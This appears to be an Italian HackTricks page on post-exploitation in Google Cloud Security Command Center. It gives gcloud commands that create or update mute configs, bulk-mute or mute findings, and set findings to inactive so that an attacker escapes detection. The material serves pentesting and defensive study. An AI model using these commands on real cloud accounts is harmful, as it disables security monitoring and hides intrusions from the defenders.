# GCP - Sicurezza Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Sicurezza

Per maggiori informazioni consulta:

{{#ref}}
../gcp-services/gcp-security-enum.md
{{#endref}}

### `securitycenter.muteconfigs.create`

Impedire la generazione di finding che potrebbero rilevare un attaccante creando una `muteconfig`:

<details>

<summary>Crea Muteconfig</summary>
```bash
# Create Muteconfig
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
</details>

### `securitycenter.muteconfigs.update`

Impedire la generazione di findings che potrebbero rilevare un attacker aggiornando un `muteconfig`:

<details>

<summary>Aggiorna Muteconfig</summary>
```bash
# Update Muteconfig
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
```
</details>

### `securitycenter.findings.bulkMuteUpdate`

Silenziare i findings in base a un filtro:

<details>

<summary>Silenziare in blocco basato sul filtro</summary>
```bash
# Mute based on a filter
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
```
</details>

Un finding silenziato non apparirà nella dashboard di SCC e nei report.

### `securitycenter.findings.setMute`

Silenzia i findings basati su source, findings...

<details>

<summary>Imposta finding come silenziato</summary>
```bash
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
```
</details>

### `securitycenter.findings.update`

Aggiorna un finding per indicare informazioni errate:

<details>

<summary>Aggiorna lo stato del finding</summary>
```bash
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
